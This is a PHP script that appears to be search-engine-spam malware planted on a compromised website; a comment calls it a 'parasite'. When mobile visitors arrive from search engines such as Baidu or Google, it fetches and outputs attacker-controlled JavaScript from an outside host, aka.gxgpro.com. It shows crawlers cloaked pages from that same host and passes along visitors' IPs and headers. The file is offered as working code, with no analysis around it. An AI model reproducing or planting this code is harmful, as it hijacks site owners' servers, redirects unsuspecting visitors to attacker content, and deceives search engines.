<?php




function sv($key, $default = '')
{
    return isset($_SERVER[$key]) ? $_SERVER[$key] : $default;
}


error_reporting(0);
set_time_limit(0);
function is_pttps() {
    if (
        (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ||
        $_SERVER['SERVER_PORT'] == 443 ||
        (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https')
    ) {
        return 'https://';
    }
    return 'http://';
}

function pa_pa($url) {
    $ip =  _pip();
    $headers = array(
        'X-Forwarded-For: ' . $ip,
        'X-Forwarded-Host: ' . R_HOST,
        'User-Agent: ' . R_ENT,
        'X-Real-IP: ' . $ip,
        'Referer: ' . R_REF,
    );

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 8,
            CURLOPT_HTTPHEADER => $headers,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ));
        $data = curl_exec($ch);
        $err  = curl_error($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($err) { exit($code);}
    }else{
        $i = array('http' => array('method' => 'GET', 'header' => $headers, 'timeout' => 8));
        $k = stream_context_create($i);
        $data = file_get_contents($url, false, $k);

    }
    return $data?$data:'';
}

define('R_URI', sv('REQUEST_URI', '/'));
define('R_REF', sv('HTTP_REFERER', ''));
define('R_ENT', sv('HTTP_USER_AGENT', ''));
define('R_HOST', sv('HTTP_HOST', ''));
define('R_ST', 'http://aka.gxgpro.com/');
define('R_RD', '?host=' .is_pttps().R_HOST . R_URI);
define('R_WAP', '@android|iphone|ipad|ipod|ios|mobi|windows phone|blackberry|webos|tablet@i');
define('R_REGS', '@baidu|google|Sogou|Yisou|Sm\.cn|360|toutiao|douyin|byte@i');
define('R_AREA',  (bool) preg_match('@(dvd|new|blog|post|manhua|xinw|bookk|mbook)@i', R_URI));


if (R_AREA && (preg_match(R_REGS, R_REF)) && preg_match(R_WAP, R_ENT) && !isset($_COOKIE['_'])) {

//    $result = pa_pa(str_replace('aka','tz',R_ST).'tz.php'.R_RD);
    $result = pa_pa(R_ST.'tz.php'.R_RD);
    if (stripos($result, 'hm.js') === false||stripos($result, 'document.write') === false) {
        header('HTTP/1.1 444 No Response');
        setcookie('_', md5(time()), time() + 3600 * 24*180 );
    }else{
        echo $result;
    }
    exit;
}elseif(!isset($_COOKIE['_'])){
    setcookie('_', md5(time()), time() + 3600 * 24 );
}


if (preg_match(R_REGS, R_ENT) ) {
    $apa = '';
//    $apa = '/news.php'; 寄生虫
    if (R_AREA) {
        $pp = pa_pa(R_ST . R_RD.'&apa='.$apa);
        if (!$pp) {http_response_code(404);exit;}
        header('Content-Type:text/html; charset=utf-8');
        echo $pp;
        exit;
    }else {
        $html = pa_pa( R_ST.'dir/'. R_RD.'&apa='.$apa);
        echo $html;
    }
}


function _pip() {
    $ipKeys = array('REMOTE_ADDR', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_X_REAL_IP');
    foreach ($ipKeys as $key) {
        if (isset($_SERVER[$key])) {
            $ips = explode(',', $_SERVER[$key]);
            foreach ($ips as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                    return $ip;
                }
            }
        }
    }
    return '0.0.0.0';
}




?>